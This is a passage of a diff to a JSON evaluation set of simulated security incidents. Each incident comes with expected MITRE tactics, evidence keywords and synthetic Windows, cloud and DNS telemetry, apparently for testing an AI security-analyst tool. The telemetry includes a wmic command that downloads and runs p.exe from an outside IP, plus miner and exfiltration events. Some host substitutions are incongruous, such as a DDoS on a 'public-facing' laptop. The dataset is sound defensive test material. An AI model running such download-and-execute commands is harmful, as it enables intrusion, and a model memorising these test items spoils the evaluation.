+ "userPrincipalName": "[email protected]",
+ "ipAddress": "91.134.231.15",
+ "resultType": 0,
+ "resultDescription": "Success",
+ "conditionalAccessStatus": "success",
+ "riskLevelAggregated": "high"
+ }
]
},
{
"id": "INC-EVAL-133",
- "title": "Kerberoasting from LIN-EDGE-VPN02",
- "description": "Service account TGS tickets requested en-masse from LIN-EDGE-VPN02 by [email protected]. AES256 \u2192 RC4 downgrade observed. Mimikatz tooling indicators.",
+ "template_id": "kerberoasting",
+ "template_index": 22,
+ "title": "Kerberoasting from WIN-EXCHANGE-01",
+ "description": "Service account TGS tickets requested en-masse from WIN-EXCHANGE-01 by [email protected]. AES256 \u2192 RC4 downgrade observed. Mimikatz tooling indicators.",
"expected_tactics": [
"TA0006",
"TA0008"
@@ -2951,14 +6114,40 @@
"TGS",
"RC4",
"mimikatz",
- "LIN-EDGE-VPN02",
+ "WIN-EXCHANGE-01",
+ ],
+ "telemetry": [
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 4769,
+ "Computer": "WIN-DC-PRIMARY",
+ "TargetUserName": "[email protected]",
+ "ServiceName": "MSSQLSvc/sql.aisoc.dev",
+ "TicketEncryptionType": "0x17",
+ "IpAddress": "WIN-EXCHANGE-01"
+ },
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 4769,
+ "Computer": "WIN-DC-PRIMARY",
+ "TargetUserName": "[email protected]",
+ "ServiceName": "HTTP/web01.aisoc.dev",
+ "TicketEncryptionType": "0x17",
+ "IpAddress": "WIN-EXCHANGE-01"
+ }
]
},
{
"id": "INC-EVAL-134",
- "title": "Active Directory DCSync from non-DC host WIN-DEVOPS-LT",
- "description": "Replication rights abused from WIN-DEVOPS-LT by [email protected]. All domain NTLM hashes replicated. Severe credential exposure.",
+ "template_id": "ad-dcsync",
+ "template_index": 23,
+ "title": "Active Directory DCSync from non-DC host WIN-FIN-DB01",
+ "description": "Replication rights abused from WIN-FIN-DB01 by [email protected]. All domain NTLM hashes replicated. Severe credential exposure.",
"expected_tactics": [
"TA0006",
"TA0004"
@@ -2973,14 +6162,30 @@
"dcsync",
"replication",
"ntlm hash",
- "WIN-DEVOPS-LT",
+ "WIN-FIN-DB01",
+ ],
+ "telemetry": [
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 4662,
+ "Computer": "WIN-DC-PRIMARY",
+ "SubjectUserName": "[email protected]",
+ "ObjectServer": "DS",
+ "ObjectType": "domainDNS",
+ "Properties": "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2",
+ "ClientIP": "WIN-FIN-DB01"
+ }
]
},
{
"id": "INC-EVAL-135",
- "title": "SAML golden-ticket: forged assertion targeting [email protected]",
- "description": "Forged SAML assertion detected for [email protected]. Attacker pivoted to Azure AD; account enumeration followed from 91.134.231.15.",
+ "template_id": "saml-golden-ticket",
+ "template_index": 24,
+ "title": "SAML golden-ticket: forged assertion targeting [email protected]",
+ "description": "Forged SAML assertion detected for [email protected]. Attacker pivoted to Azure AD; account enumeration followed from 45.142.122.111.",
"expected_tactics": [
"TA0006",
"TA0007"
@@ -2996,14 +6201,45 @@
"golden ticket",
"forged",
"azure ad",
- "91.134.231.15"
+ "45.142.122.111"
+ ],
+ "telemetry": [
+ {
+ "source": "azure_signin",
+ "category": "SignInLogs",
+ "userPrincipalName": "[email protected]",
+ "ipAddress": "45.142.122.111",
+ "resultType": 0,
+ "authenticationDetails": [
+ {
+ "authenticationMethod": "Federated",
+ "succeeded": true
+ }
+ ],
+ "tokenIssuerType": "ADFederationServices",
+ "tokenIssuerName": "forged-adfs.aisoc.dev"
+ },
+ {
+ "source": "m365_audit",
+ "Workload": "AzureActiveDirectory",
+ "Operation": "Add member to role.",
+ "UserId": "[email protected]",
+ "ModifiedProperties": [
+ {
+ "Name": "Role.DisplayName",
+ "NewValue": "Global Administrator"
+ }
+ ]
+ }
]
},
{
"id": "INC-EVAL-136",
- "title": "Domain enumeration from AZURE-VM-FIN-001",
- "description": "ldap discovery from AZURE-VM-FIN-001 by [email protected]: BloodHound-style queries enumerating users, groups, ACLs.",
+ "template_id": "ldap-bloodhound-discovery",
+ "template_index": 25,
+ "title": "Domain enumeration from GCP-GKE-NODE-04",
+ "description": "ldap discovery from GCP-GKE-NODE-04 by [email protected]: BloodHound-style queries enumerating users, groups, ACLs.",
"expected_tactics": [
"TA0007"
],
@@ -3016,14 +6252,40 @@
"ldap",
"bloodhound",
"domain enumeration",
- "AZURE-VM-FIN-001",
+ "GCP-GKE-NODE-04",
+ ],
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 3,
+ "Computer": "GCP-GKE-NODE-04",
+ "Image": "C:\\Tools\\SharpHound.exe",
+ "DestinationIp": "WIN-DC-PRIMARY",
+ "DestinationPort": 389,
+ "User": "[email protected]"
+ },
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 4662,
+ "Computer": "WIN-DC-PRIMARY",
+ "SubjectUserName": "[email protected]",
+ "ObjectType": "user",
+ "AccessMask": "0x100",
+ "EventCount": 8400
+ }
]
},
{
"id": "INC-EVAL-137",
- "title": "Network share enumeration on K8S-PROD-CLUSTER",
- "description": "Mass SMB share enumeration from K8S-PROD-CLUSTER by [email protected]; net.exe and PowerShell Get-SmbShare invocations across /24 subnet.",
+ "template_id": "smb-share-enumeration",
+ "template_index": 26,
+ "title": "Network share enumeration on LIN-EDGE-VPN02",
+ "description": "Mass SMB share enumeration from LIN-EDGE-VPN02 by [email protected]; net.exe and PowerShell Get-SmbShare invocations across /24 subnet.",
"expected_tactics": [
"TA0007"
],
@@ -3037,14 +6299,39 @@
"net.exe",
"Get-SmbShare",
"share enumeration",
- "K8S-PROD-CLUSTER",
+ "LIN-EDGE-VPN02",
+ ],
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 1,
+ "Computer": "LIN-EDGE-VPN02",
+ "User": "[email protected]",
+ "Image": "C:\\Windows\\System32\\net.exe",
+ "CommandLine": "net.exe view /domain"
+ },
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 5145,
+ "Computer": "WIN-FILE-SHARE",
+ "SubjectUserName": "[email protected]",
+ "ShareName": "\\\\*\\*",
+ "IpAddress": "LIN-EDGE-VPN02",
+ "EventCount": 256
+ }
]
},
{
"id": "INC-EVAL-138",
- "title": "Pass-the-hash from WIN-FIN-DB01 to WIN-DC-PRIMARY",
- "description": "Pass-the-hash lateral movement from WIN-FIN-DB01 to WIN-DC-PRIMARY by [email protected]. Golden ticket indicators present. Linked to APT29.",
+ "template_id": "pass-the-hash-lateral",
+ "template_index": 27,
+ "title": "Pass-the-hash from LIN-DB-REPLICA to MAC-LEGAL-LAPTOP",
+ "description": "Pass-the-hash lateral movement from LIN-DB-REPLICA to MAC-LEGAL-LAPTOP by [email protected]. Golden ticket indicators present. Linked to MagicWeb.",
"expected_tactics": [
"TA0008",
"TA0006"
@@ -3058,16 +6345,41 @@
"evidence_keywords": [
"pass-the-hash",
"golden ticket",
- "WIN-FIN-DB01",
- "WIN-DC-PRIMARY",
- "APT29"
+ "LIN-DB-REPLICA",
+ "MAC-LEGAL-LAPTOP",
+ "MagicWeb"
+ ],
+ "telemetry": [
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 4624,
+ "Computer": "MAC-LEGAL-LAPTOP",
+ "TargetUserName": "[email protected]",
+ "LogonType": 3,
+ "AuthenticationPackageName": "NTLM",
+ "IpAddress": "LIN-DB-REPLICA",
+ "LogonProcessName": "NtLmSsp"
+ },
+ {
+ "source": "edr",
+ "rule": "Pass-the-hash indicators (NTLM hash reuse)",
+ "severity": "high",
+ "Computer": "MAC-LEGAL-LAPTOP",
+ "Source": "LIN-DB-REPLICA",
+ "User": "[email protected]",
+ "threat_actor": "MagicWeb"
+ }
]
},
{
"id": "INC-EVAL-139",
+ "template_id": "rdp-lateral-movement",
+ "template_index": 28,
"title": "RDP lateral movement from WIN-EXCHANGE-01",
- "description": "Anomalous RDP session from WIN-EXCHANGE-01 ([email protected]) to LIN-EDGE-VPN02 outside business hours. Source admin not normal for LIN-EDGE-VPN02.",
+ "description": "Anomalous RDP session from WIN-EXCHANGE-01 ([email protected]) to AWS-EC2-PROD-API outside business hours. Source admin not normal for AWS-EC2-PROD-API.",
"expected_tactics": [
"TA0008"
],
@@ -3081,14 +6393,30 @@
"lateral movement",
"outside hours",
"WIN-EXCHANGE-01",
- "LIN-EDGE-VPN02",
+ "AWS-EC2-PROD-API",
+ ],
+ "telemetry": [
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 4624,
+ "Computer": "AWS-EC2-PROD-API",
+ "TargetUserName": "[email protected]",
+ "LogonType": 10,
+ "IpAddress": "WIN-EXCHANGE-01",
+ "LogonProcessName": "User32",
+ "EventTimeUTC": "03:14:00Z"
+ }
]
},
{
"id": "INC-EVAL-140",
- "title": "WMI lateral execution from WIN-PROD-WEB02 to MAC-LEGAL-LAPTOP",
- "description": "wmic.exe /node:MAC-LEGAL-LAPTOP process call create observed from WIN-PROD-WEB02 by [email protected]. Remote command execution; payload from 45.142.122.111.",
+ "template_id": "wmi-lateral-execution",
+ "template_index": 29,
+ "title": "WMI lateral execution from MAC-CFO-LAPTOP to MAC-LEGAL-LAPTOP",
+ "description": "wmic.exe /node:MAC-LEGAL-LAPTOP process call create observed from MAC-CFO-LAPTOP by [email protected]. Remote command execution; payload from 91.134.231.15.",
"expected_tactics": [
"TA0008",
"TA0002"
@@ -3101,16 +6429,30 @@
"evidence_keywords": [
"wmic",
"lateral",
- "WIN-PROD-WEB02",
+ "MAC-CFO-LAPTOP",
"MAC-LEGAL-LAPTOP",
- "45.142.122.111"
+ "91.134.231.15"
+ ],
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 1,
+ "Computer": "MAC-CFO-LAPTOP",
+ "User": "[email protected]",
+ "Image": "C:\\Windows\\System32\\wbem\\wmic.exe",
+ "CommandLine": "wmic /node:MAC-LEGAL-LAPTOP process call create \"cmd /c curl http://91.134.231.15/p.exe -o C:\\Users\\Public\\p.exe && C:\\Users\\Public\\p.exe\""
+ }
]
},
{
"id": "INC-EVAL-141",
- "title": "Bulk PII download by [email protected]",
- "description": "[email protected] downloaded >10 GB of customer records from production database from LIN-BUILD-CI03. Outside normal access pattern.",
+ "template_id": "bulk-pii-download",
+ "template_index": 30,
+ "title": "Bulk PII download by [email protected]",
+ "description": "[email protected] downloaded >10 GB of customer records from production database from WIN-DC-PRIMARY. Outside normal access pattern.",
"expected_tactics": [
"TA0009",
"TA0010"
@@ -3125,14 +6467,28 @@
"bulk download",
"pii",
"customer record",
- "LIN-BUILD-CI03",
+ "WIN-DC-PRIMARY",
+ ],
+ "telemetry": [
+ {
+ "source": "db_audit",
+ "operation": "SELECT",
+ "user": "[email protected]",
+ "src_host": "WIN-DC-PRIMARY",
+ "database": "prod_customers",
+ "table": "customer_records",
+ "rows_returned": 4200000,
+ "bytes": 10700000000
+ }
]
},
{
"id": "INC-EVAL-142",
- "title": "Clipboard logging implant on WIN-DC-PRIMARY",
- "description": "Clipboard contents from WIN-DC-PRIMARY ([email protected]) being captured to %APPDATA%\\Local\\. Captures span 2 hours and include credentials and crypto addresses.",
+ "template_id": "clipboard-keylogger",
+ "template_index": 31,
+ "title": "Clipboard logging implant on WIN-PROD-WEB02",
+ "description": "Clipboard contents from WIN-PROD-WEB02 ([email protected]) being captured to %APPDATA%\\Local\\. Captures span 2 hours and include credentials and crypto addresses.",
"expected_tactics": [
"TA0009"
],
@@ -3145,14 +6501,38 @@
"clipboard",
"keylog",
"credentials",
- "WIN-DC-PRIMARY",
+ "WIN-PROD-WEB02",
+ ],
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 24,
+ "Computer": "WIN-PROD-WEB02",
+ "User": "[email protected]",
+ "Image": "C:\\Users\\[email protected]\\AppData\\Local\\sched.exe",
+ "Hashes": "SHA256=abc..."
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 11,
+ "Computer": "WIN-PROD-WEB02",
+ "Image": "C:\\Users\\[email protected]\\AppData\\Local\\sched.exe",
+ "TargetFilename": "C:\\Users\\[email protected]\\AppData\\Local\\clip.log",
+ "User": "[email protected]"
+ }
]
},
{
"id": "INC-EVAL-143",
- "title": "DNS tunnelling exfiltration from MAC-CFO-LAPTOP",
- "description": "DNS query volume from MAC-CFO-LAPTOP 50\u00d7 baseline. TXT records contain base64-encoded payloads. Estimated exfil ~200 MB; destination 91.134.231.15.",
+ "template_id": "dns-tunnel-exfil",
+ "template_index": 32,
+ "title": "DNS tunnelling exfiltration from WIN-DC-PRIMARY",
+ "description": "DNS query volume from WIN-DC-PRIMARY 50\u00d7 baseline. TXT records contain base64-encoded payloads. Estimated exfil ~200 MB; destination 198.51.100.23.",
"expected_tactics": [
"TA0011",
"TA0010"
@@ -3168,14 +6548,27 @@
"txt records",
"base64",
"exfiltrat",
- "MAC-CFO-LAPTOP",
- "91.134.231.15"
+ "WIN-DC-PRIMARY",
+ "198.51.100.23"
+ ],
+ "telemetry": [
+ {
+ "source": "dns",
+ "query_name": "aGVsbG8gd29ybGQK.exfil.198.51.100.23.in-addr.arpa",
+ "query_type": "TXT",
+ "src_host": "WIN-DC-PRIMARY",
+ "dst_ip": "198.51.100.23",
+ "response_size": 512,
+ "qps": 240
+ }
]
},
{
"id": "INC-EVAL-144",
- "title": "Cloud storage exfil: data egress to attacker-controlled S3 from AZURE-VM-FIN-001",
- "description": "Egress from AZURE-VM-FIN-001 to s3://atk-stage-45.142.122.111/dump/ by [email protected]. 8 GB transferred over 20 minutes. CloudTrail PutObject events match.",
+ "template_id": "s3-exfil-cloud-storage",
+ "template_index": 33,
+ "title": "Cloud storage exfil: data egress to attacker-controlled S3 from WIN-PROD-WEB02",
+ "description": "Egress from WIN-PROD-WEB02 to s3://atk-stage-185.220.101.7/dump/ by [email protected]. 8 GB transferred over 20 minutes. CloudTrail PutObject events match.",
"expected_tactics": [
"TA0010"
],
@@ -3189,15 +6582,39 @@
"cloud storage",
"egress",
"exfiltrat",
- "AZURE-VM-FIN-001",
- "45.142.122.111",
+ "WIN-PROD-WEB02",
+ "185.220.101.7",
+ ],
+ "telemetry": [
+ {
+ "source": "cloudtrail",
+ "eventName": "PutObject",
+ "eventSource": "s3.amazonaws.com",
+ "awsRegion": "us-east-1",
+ "userIdentity": {
+ "type": "IAMUser",
+ "userName": "[email protected]"
+ },
+ "sourceIPAddress": "WIN-PROD-WEB02",
+ "requestParameters": {
+ "bucketName": "atk-stage-185.220.101.7",
+ "key": "dump/customers.tar.gz"
+ },
+ "resources": [
+ {
+ "ARN": "arn:aws:s3:::atk-stage-185.220.101.7/dump/customers.tar.gz"
+ }
+ ]
+ }
]
},
{
"id": "INC-EVAL-145",
- "title": "Personal Drive exfil by [email protected]",
- "description": "[email protected] on WIN-DC-PRIMARY uploaded 4 GB to personal Google Drive. Files include source code and customer PII.",
+ "template_id": "personal-drive-exfil",
+ "template_index": 34,
+ "title": "Personal Drive exfil by [email protected]",
+ "description": "[email protected] on AWS-EC2-PROD-API uploaded 4 GB to personal Google Drive. Files include source code and customer PII.",
"expected_tactics": [
"TA0009",
"TA0010"
@@ -3214,14 +6631,28 @@
"exfiltrat",
"source code",
"pii",
- "WIN-DC-PRIMARY",
+ "AWS-EC2-PROD-API",
+ ],
+ "telemetry": [
+ {
+ "source": "web_access",
+ "http_method": "POST",
+ "url": "https://www.googleapis.com/upload/drive/v3/files",
+ "status_code": 200,
+ "src_host": "AWS-EC2-PROD-API",
+ "src_user": "[email protected]",
+ "bytes_out": 4300000000,
+ "file_count": 812
+ }
]
},
{
"id": "INC-EVAL-146",
- "title": "DGA-based C2 traffic from LIN-EDGE-VPN02",
- "description": "DGA traffic from LIN-EDGE-VPN02 observed; 200+ NXDomain replies/min, IoCs match LockBit 3.0 epoch 5. Beacons to 203.0.113.45.",
+ "template_id": "dga-c2",
+ "template_index": 35,
+ "title": "DGA-based C2 traffic from GCP-GKE-NODE-04",
+ "description": "DGA traffic from GCP-GKE-NODE-04 observed; 200+ NXDomain replies/min, IoCs match Scattered Spider epoch 5. Beacons to 45.142.122.111.",
"expected_tactics": [
"TA0011"
],
@@ -3235,15 +6666,39 @@
"domain generation",
"nxdomain",
"beacon",
- "LIN-EDGE-VPN02",
- "203.0.113.45",
- "LockBit 3.0"
+ "GCP-GKE-NODE-04",
+ "45.142.122.111",
+ "Scattered Spider"
+ ],
+ "telemetry": [
+ {
+ "source": "dns",
+ "query_name": "qkz3pl4vnxq2.com",
+ "query_type": "A",
+ "src_host": "GCP-GKE-NODE-04",
+ "rcode": "NXDOMAIN",
+ "qps_above_baseline": 50.0
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 3,
+ "Computer": "GCP-GKE-NODE-04",
+ "Image": "C:\\Windows\\System32\\svchost.exe",
+ "DestinationIp": "45.142.122.111",
+ "DestinationPort": 443,
+ "Protocol": "tcp",
+ "threat_actor": "Scattered Spider"
+ }
]
},
{
"id": "INC-EVAL-147",
- "title": "HTTPS C2 beacon from MAC-LEGAL-LAPTOP to 192.168.1.100",
- "description": "Periodic HTTPS beacon from MAC-LEGAL-LAPTOP to 192.168.1.100 every 60 seconds with low jitter. JA3 fingerprint matches Cobalt Strike.",
+ "template_id": "https-c2-beacon",
+ "template_index": 36,
+ "title": "HTTPS C2 beacon from WIN-DEVOPS-LT to 198.51.100.23",
+ "description": "Periodic HTTPS beacon from WIN-DEVOPS-LT to 198.51.100.23 every 60 seconds with low jitter. JA3 fingerprint matches Cobalt Strike.",
"expected_tactics": [
"TA0011"
],
@@ -3257,14 +6712,31 @@
"beacon",
"ja3",
"Cobalt Strike",
- "MAC-LEGAL-LAPTOP",
- "192.168.1.100"
+ "WIN-DEVOPS-LT",
+ "198.51.100.23"
+ ],
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 3,
+ "Computer": "WIN-DEVOPS-LT",
+ "DestinationIp": "198.51.100.23",
+ "DestinationPort": 443,
+ "Protocol": "tcp",
+ "ja3": "a0e9f5d64349fb13191bc781f81f42e1",
+ "interval_secs": 60,
+ "jitter_pct": 2
+ }
]
},
{
"id": "INC-EVAL-148",
- "title": "Ransomware encryption in progress on WIN-DC-PRIMARY",
- "description": "Mass file rename observed on WIN-DC-PRIMARY ([email protected]); ..tooktdata extension applied to ~20 k files. Ransomware note R3ADM3-Lazarus.txt found.",
+ "template_id": "ransomware-encryption",
+ "template_index": 37,
+ "title": "Ransomware encryption in progress on LIN-DB-REPLICA",
+ "description": "Mass file rename observed on LIN-DB-REPLICA ([email protected]); ..enc extension applied to ~20 k files. Ransomware note R3ADM3-Emotet epoch 5.txt found.",
"expected_tactics": [
"TA0040"
],
@@ -3278,15 +6750,47 @@
"encrypt",
"rename",
"ransom note",
- "WIN-DC-PRIMARY",
- "Lazarus"
+ "LIN-DB-REPLICA",
+ "Emotet epoch 5"
+ ],
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 11,
+ "Computer": "LIN-DB-REPLICA",
+ "Image": "C:\\ProgramData\\enc.exe",
+ "TargetFilename": "C:\\Users\\[email protected]\\Documents\\notes.docx.enc",
+ "User": "[email protected]",
+ "rename_rate_per_min": 4200
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 11,
+ "Computer": "LIN-DB-REPLICA",
+ "Image": "C:\\ProgramData\\enc.exe",
+ "TargetFilename": "C:\\Users\\[email protected]\\Desktop\\R3ADM3-Emotet epoch 5.txt",
+ "User": "[email protected]"
+ },
+ {
+ "source": "edr",
+ "rule": "Ransomware behaviour: high-rate file rename + ransom note",
+ "severity": "critical",
+ "Computer": "LIN-DB-REPLICA",
+ "threat_actor": "Emotet epoch 5"
+ }
]
},
{
"id": "INC-EVAL-149",
- "title": "Cryptominer execution on WIN-DC-PRIMARY",
- "description": "XMRig miner spawned on WIN-DC-PRIMARY; CPU saturated to 95%. Mining pool 45.142.122.111:5555. Linked to APT29.",
+ "template_id": "xmrig-cryptominer",
+ "template_index": 38,
+ "title": "Cryptominer execution on MAC-LEGAL-LAPTOP",
+ "description": "XMRig miner spawned on MAC-LEGAL-LAPTOP; CPU saturated to 95%. Mining pool 10.0.99.42:5555. Linked to APT28.",
"expected_tactics": [
"TA0002",
"TA0040"
@@ -3300,15 +6804,30 @@
"xmrig",
"miner",
"cryptomine",
- "WIN-DC-PRIMARY",
- "45.142.122.111",
- "APT29"
+ "MAC-LEGAL-LAPTOP",
+ "10.0.99.42",
+ "APT28"
+ ],
+ "telemetry": [
+ {
+ "source": "linux_auditd",
+ "type": "SYSCALL",
+ "syscall": "execve",
+ "exe": "/tmp/xmrig",
+ "a0": "xmrig",
+ "a1": "-o",
+ "a2": "10.0.99.42:5555",
+ "hostname": "MAC-LEGAL-LAPTOP",
+ "cpu_pct": 95
+ }
]
},
{
"id": "INC-EVAL-150",
- "title": "BEC: payment redirect by [email protected]",
- "description": "Spear-phishing email spoofed CFO. Wire transfer of $250 k initiated by [email protected] from WIN-DC-PRIMARY to threat-actor account. Linked to MosaicRegressor.",
+ "template_id": "bec-wire-fraud",
+ "template_index": 39,
+ "title": "BEC: payment redirect by [email protected]",
+ "description": "Spear-phishing email spoofed CFO. Wire transfer of $250 k initiated by [email protected] from WIN-FILE-SHARE to threat-actor account. Linked to APT29.",
"expected_tactics": [
"TA0001",
"TA0040"
@@ -3324,15 +6843,30 @@
"spoofed cfo",
"wire transfer",
"$250",
- "WIN-DC-PRIMARY",
- "MosaicRegressor"
+ "WIN-FILE-SHARE",
+ "APT29"
+ ],
+ "telemetry": [
+ {
+ "source": "m365_audit",
+ "Workload": "Exchange",
+ "Operation": "Send",
+ "UserId": "[email protected]",
+ "ClientIP": "WIN-FILE-SHARE",
+ "Subject": "URGENT: Wire instructions from CFO",
+ "From": "[email protected]",
+ "ReplyTo": "[email protected]",
+ "threat_actor": "APT29"
+ }
]
},
{
"id": "INC-EVAL-151",
+ "template_id": "public-s3-bucket-pii",
+ "template_index": 40,
"title": "Public S3 bucket exposing PII",
- "description": "S3 bucket world-readable; ~40k employee records accessible. CloudTrail shows external enumeration from 203.0.113.45.",
+ "description": "S3 bucket world-readable; ~40k employee records accessible. CloudTrail shows external enumeration from 91.134.231.15.",
"expected_tactics": [
"TA0009",
"TA0010"
@@ -3348,13 +6882,52 @@
"public bucket",
"pii",
"cloudtrail",
- "203.0.113.45"
+ "91.134.231.15"
+ ],
+ "telemetry": [
+ {
+ "source": "cloudtrail",
+ "eventName": "PutBucketAcl",
+ "eventSource": "s3.amazonaws.com",
+ "awsRegion": "us-east-1",
+ "userIdentity": {
+ "type": "IAMUser",
+ "userName": "[email protected]"
+ },
+ "requestParameters": {
+ "bucketName": "aisoc-employees",
+ "AccessControlPolicy": {
+ "Grants": [
+ {
+ "Grantee": "AllUsers",
+ "Permission": "READ"
+ }
+ ]
+ }
+ }
+ },
+ {
+ "source": "cloudtrail",
+ "eventName": "ListObjectsV2",
+ "eventSource": "s3.amazonaws.com",
+ "awsRegion": "us-east-1",
+ "sourceIPAddress": "91.134.231.15",
+ "requestParameters": {
+ "bucketName": "aisoc-employees",
+ "max-keys": 1000
+ },
+ "userIdentity": {
+ "type": "AnonymousUser"
+ }
+ }
]
},
{
"id": "INC-EVAL-152",
- "title": "Identity provider compromise \u2014 anomalous Azure AD sign-in for [email protected]",
- "description": "Successful Azure AD sign-in for [email protected] from 10.0.99.42 (impossible-travel from prior location). MFA satisfied via stolen session token.",
+ "template_id": "azure-ad-impossible-travel",
+ "template_index": 41,
+ "title": "Identity provider compromise \u2014 anomalous Azure AD sign-in for [email protected]",
+ "description": "Successful Azure AD sign-in for [email protected] from 91.134.231.15 (impossible-travel from prior location). MFA satisfied via stolen session token.",
"expected_tactics": [
"TA0001",
"TA0006"
@@ -3370,14 +6943,40 @@
"impossible travel",
"session token",
"mfa",
- "10.0.99.42"
+ "91.134.231.15"
+ ],
+ "telemetry": [
+ {
+ "source": "azure_signin",
+ "category": "SignInLogs",
+ "userPrincipalName": "[email protected]",
+ "ipAddress": "91.134.231.15",
+ "location": {
+ "city": "Vladivostok",
+ "countryOrRegion": "RU"
+ },
+ "resultType": 0,
+ "authenticationDetails": [
+ {
+ "authenticationMethod": "Previously satisfied",
+ "succeeded": true
+ }
+ ],
+ "riskEventTypes": [
+ "unfamiliarFeatures",
+ "unlikelyTravel"
+ ],
+ "riskLevelAggregated": "high"
+ }
]
},
{
"id": "INC-EVAL-153",
- "title": "DDoS volumetric flood targeting public-facing AWS-EC2-PROD-API",
- "description": "L4 SYN flood from a botnet (>1M PPS) targeting AWS-EC2-PROD-API. Edge mitigation engaged but service degraded for 12 minutes.",
+ "template_id": "ddos-syn-flood",
+ "template_index": 42,
+ "title": "DDoS volumetric flood targeting public-facing MAC-CFO-LAPTOP",
+ "description": "L4 SYN flood from a botnet (>1M PPS) targeting MAC-CFO-LAPTOP. Edge mitigation engaged but service degraded for 12 minutes.",
"expected_tactics": [
"TA0040"
],
@@ -3390,14 +6989,28 @@
"ddos",
"syn flood",
"botnet",
- "AWS-EC2-PROD-API",
+ "MAC-CFO-LAPTOP",
"1M PPS"
+ ],
+ "telemetry": [
+ {
+ "source": "web_access",
+ "http_method": "GET",
+ "url": "https://MAC-CFO-LAPTOP/",
+ "status_code": 503,
+ "pps": 1120000,
+ "packet_type": "TCP-SYN",
+ "edge_mitigation": "engaged",
+ "duration_secs": 720
+ }
]
},
{
"id": "INC-EVAL-154",
- "title": "Insider preparing departure: large mailbox export by [email protected]",
- "description": "[email protected] exported full mailbox PST (8 GB) from LIN-EDGE-VPN02. HR flag: notice given last week.",
+ "template_id": "insider-mailbox-export",
+ "template_index": 43,
+ "title": "Insider preparing departure: large mailbox export by [email protected]",
+ "description": "[email protected] exported full mailbox PST (8 GB) from WIN-EXCHANGE-01. HR flag: notice given last week.",
"expected_tactics": [
"TA0009",
"TA0010"
@@ -3413,14 +7026,29 @@
"PST",
"insider",
"departure",
- "LIN-EDGE-VPN02"
+ "WIN-EXCHANGE-01"
+ ],
+ "telemetry": [
+ {
+ "source": "m365_audit",
+ "Workload": "Exchange",
+ "Operation": "New-MailboxExportRequest",
+ "UserId": "[email protected]",
+ "Parameters": {
+ "Mailbox": "[email protected]",
+ "FilePath": "\\\\WIN-EXCHANGE-01\\export\\[email protected]"
+ },
+ "Bytes": 8300000000
+ }
]
},
{
"id": "INC-EVAL-155",
- "title": "Malicious Office add-in installed for [email protected]",
- "description": "Office VSTO add-in registered under HKCU for [email protected] on MAC-LEGAL-LAPTOP; loads on every Outlook startup; beacons to 185.220.101.7.",
+ "template_id": "office-vsto-addin",
+ "template_index": 44,
+ "title": "Malicious Office add-in installed for [email protected]",
+ "description": "Office VSTO add-in registered under HKCU for [email protected] on WIN-DC-SECONDARY; loads on every Outlook startup; beacons to 45.142.122.111.",
"expected_tactics": [
"TA0003",
"TA0011"
@@ -3435,15 +7063,40 @@
"office add-in",
"vsto",
"outlook",
- "MAC-LEGAL-LAPTOP",
- "185.220.101.7"
+ "WIN-DC-SECONDARY",
+ "45.142.122.111"
+ ],
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 13,
+ "Computer": "WIN-DC-SECONDARY",
+ "User": "[email protected]",
+ "EventType": "SetValue",
+ "TargetObject": "HKCU\\Software\\Microsoft\\Office\\Outlook\\Addins\\Aisoc.Updater",
+ "Details": "LoadBehavior=3;Manifest=file:///C:/Users/[email protected]/AppData/Roaming/aisoc.vsto"
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 3,
+ "Computer": "WIN-DC-SECONDARY",
+ "Image": "C:\\Program Files\\Microsoft Office\\root\\Office16\\OUTLOOK.EXE",
+ "DestinationIp": "45.142.122.111",
+ "DestinationPort": 443
+ }
]
},
{
"id": "INC-EVAL-156",
- "title": "GitHub PAT leaked and abused from 185.220.101.7",
- "description": "Personal access token belonging to [email protected] used from 185.220.101.7 to clone 14 private repos. Token committed in public dotfiles repo 6 hours earlier.",
+ "template_id": "github-pat-leak",
+ "template_index": 45,
+ "title": "GitHub PAT leaked and abused from 45.142.122.111",
